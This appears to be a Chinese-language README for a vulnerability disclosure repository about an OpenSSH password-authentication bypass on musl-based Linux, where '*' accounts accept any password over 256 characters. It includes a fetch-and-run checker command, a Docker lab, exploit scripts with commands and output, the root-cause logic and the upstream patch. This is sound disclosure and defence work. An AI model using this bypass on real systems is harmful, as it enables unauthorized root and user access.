在 musl linux(alpine、openwrt、buildroot、yocto)上的 openssh 允许你使用任意长度超过 256 个字符的密码登录任何以 * 作为密码的账户。这意味着 root、仅密钥用户、ldap 用户、alpine 云镜像上的 alpine 用户。自 2016 年起一直如此。
完整故事见 sshhole.com。本仓库包含用于检查你自己机器的脚本、可自行尝试的 docker 环境,以及补丁。
已于 2026-11-05 在 openssh 10.6p2 中修复。alpine 软件包已发布。
curl -sO https://raw.githubusercontent.com/oz9un/sshole/main/check.sh
sudo sh check.sh
libc musl
sshd OpenSSH_10.3p1, OpenSSL 3.5.9 29 Sep 2026
pam off (not built in)
PasswordAuthentication yes
accounts with '*' root alice deploy
sha-crypt hash present yes (bob)
EXPOSED. anyone can log in as: root alice deploy
fix: apk upgrade openssh (10.6p2), or set PasswordAuthentication no until you can.
只有当以下所有条件都成立时,你才会受到影响。如果你未受影响,脚本会告诉你缺少哪一项:
openssh-server 包就是如此。使用 UsePAM yes 的 openssh-server-pam 是安全的PasswordAuthentication yes(这是默认值)*$5$ 或 $6$ 密码哈希(某人、任何人都运行过 passwd)glibc、pam、PasswordAuthentication no、openbsd、freebsd、macos:不受影响。你可以停止阅读了。
你需要 docker。这会构建一个带有 openssh-server 和默认配置的常规 alpine 3.24。alice 的密码字段为 *,bob 拥有真实密码。
cd poc
docker build -t sshhole .
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole
./attack.sh 127.0.0.1 2222 alice
Permission denied, please try again.
uid=1000(alice) gid=1000(alice) groups=1000(alice)
RESULT: logged in as alice
两个提示。第一个任意,第二个是 300 个 A。这就是漏洞利用。
如果设置了 PermitRootLogin yes,root 也可以登录:
docker rm -f sshhole
docker run -d --rm --name sshhole -p 127.0.0.1:2222:22 sshhole /usr/sbin/sshd -D -e -o PermitRootLogin=yes
./attack.sh 127.0.0.1 2222 root
attack.py 使用 paramiko 实现相同功能,并允许你选择密码长度,因此你可以看到 256 失败而 257 成功:
pip install paramiko
python3 attack.py 127.0.0.1 2222 alice 256 # rejected
python3 attack.py 127.0.0.1 2222 alice 257 # logged in
对于较旧的 alpine 版本:docker build --build-arg BASE=alpine:3.21 -t sshhole . 至少可以回溯到 3.18 版本。我们尝试过的最旧版本是 2017 年的 musl 1.1.16 上的 openssh 7.5p1,在那里也能正常工作。
patch/4353fdc43-avoid-password-authn-bypass.patch 是上游修复,未作改动,以备你需要将其应用到较旧版本。它适用于 7.3p1 及以上的任何版本。它使 sshd 在存储字段过短、不可能是真实哈希时跳过比较,并且还停止使用指向 libc 静态缓冲区的指针。
如果你现在无法更新,请在 sshd_config 中设置 PasswordAuthentication no。这样可以完全关闭该漏洞。
pw_password = "*" # alice has no password
salt = NULL # "*" is too short to be a salt
salt = pick_salt() # so sshd takes bob's: "$6$abc$"
hash = crypt("AAAA…x300", "$6$abc$") # musl: key is over 256 bytes -> returns "*"
strcmp(hash, pw_password) == 0 # "*" == "*"
return 1 # welcome, alice
sshd 自 90 年代以来就一直这样与 * 进行比较。musl 从 2012 年开始在失败时返回 *。sshd 从 2016 年开始使用其他账户的 salt。参见时间线。
完整的测试环境(17 个环境:qemu 中的云镜像、openwrt、buildroot、ldap 和 ad 用户等)、流行率数据以及按发行版划分的表格都在详细报告中。它们可能会在之后发布。本仓库刻意保持精简。
mit 许可证。